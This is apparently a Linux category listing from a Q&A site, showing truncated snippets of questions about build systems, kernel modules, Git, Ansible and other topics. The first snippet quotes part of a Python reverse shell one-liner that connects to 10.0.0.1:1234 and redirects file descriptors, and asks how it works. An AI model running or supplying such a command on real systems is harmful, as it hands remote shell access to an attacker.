Category "linux"

How does a Python reverse shell one-liner work?

Consider: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(

Can I call linux allocation API functions in C?

I want to allocate physical page frames using alloc_pages() in C. I have tried that in kernel module in it works fine. I want to make the code running in user s

what is the python interpreter for odoo serveur (openERP)

We use opnerp (odoo) on a linux server (debian), I want to locate the python interpreter used by the odoo daemon, So the question is how I can change the path t

Makefile - issues including directory

I've been working on a Makefile but having two issues. The application directory contains autotools files for a Yocto build but for development I'd like to do b

Add word to end of line in Ansible

I've been trying a lot of lineinfile and replace examples but i can't get it to work. I have the following lines: deb-src http://httpredir.debian.org/debian b

ClickHouse connection refused after shut down Linux OS (error Code: 210. DB::NetException: Connection refused)

I saw a previous post on StackOverflow related to my question. I tried to handle this connection problem by entering sudo nano /etc/clickhouse-server/config.xml

"Failed to connect to github.com port 443: Connection timed out" when pushing to remote repository

I've 'googled' and 'stackoverflowed' so much but I haven't found a solution for my problem. I'm on Ubuntu and try for the first time git. I did: sudo apt-get

How to fix scaling of a java-based application on a high dpi display in linux?

I just switched to java 11 (AdaptOpenJDK) so that my java Swing application looks ok on high dpi displays at different system scaling settings. It works ok on

Rust installation fails on Linux with error "OS 21"

When I tried to install Rust on my Linux machine this error appeared:error: could not amend shell profile: '/home/$Username/.profile': could not write rcfile fi

Generate a Random Output from the List of Multiplicities of a Number X up to a MAX Number Y?

Using a bash script, I want to choose a random number from such a list: [0, X, 2X, 3X, 4X, ..., Y] where Y=k*X and k is an integer. X and Y are just some input

"ls" permission denied even though I have read access to the directory [closed]

Although I am the owner (pi) of the directory, still permission is denied pi@raspberrypi:~/Desktop $ sudo ls -al total 16 d-wx--x--x 3 pi pi

How to build multiple linux kernel module with multiple source files in a single Makefile?

I am trying to build a set of Linux kernel modules with multiple source files: obj-m += mst_pciconf.o mst_pci.o mst-objs += nnt_device.o nnt_dma.o nnt_pci_conf_

Retrieve Linux Time using struct timespec

Can someone please suggest how can I retrieve linux time using struct timespec ts type? It just gives me time since Epoch. Can I get the actual Linux tim

How to cross compile a c program to aarch64 with cpuid.h?

I'm trying to cross-compile a simple C program to aarch64 (arm64) from a 64bit Ubuntu Linux. Can someone please help me why i'm getting this error. It says 'cpu

A pthread with SCHED_RR and higher real time priority failed to preempt a kthread in kernel module with lower priority

Preface: I have two threads: one kernel thread and one userspace pthread. I assume pthread set to SCHED_RR with higher rt priority should preempt a kthread with

Which of these answers are the equivalent of O_RDWR on Ubuntu 14.04 LTS?

I have been given a list of the following check box containing all possible solutions to the question of choosing all true answers equivalent to O_RDWR on Ubunt

on building docker image level=error msg="Can't close tar writer: io: read/write on closed pipe"

time="2017-10-27T07:39:20Z" level=error msg="Can't add file /var/app/current/app/content_classifier/forest.pickle to tar: io: read/write on closed pipe" time="

PowerShell script to SSH to Multiple Linux devices and restart/reboot them

I am comfortable with writing single queries. I am new to writing bash scripts trying to automate the daily stuff. I need help on creating a PowerShell or bash

Strange delays in websocket data transfer from Ubuntu-hosted wifi access point

I have an application that is streaming jpeg images from an Ubuntu machine over a wifi connection. The wifi network is an access point/SSID hosted on the Ubuntu

How can I increase the size of the VirtualBox screen?

I'm trying to run Arch Linux within VirtualBox 5.1.28 where the host OS is Windows 10. The problem is that the display size is too small, even when I maximize t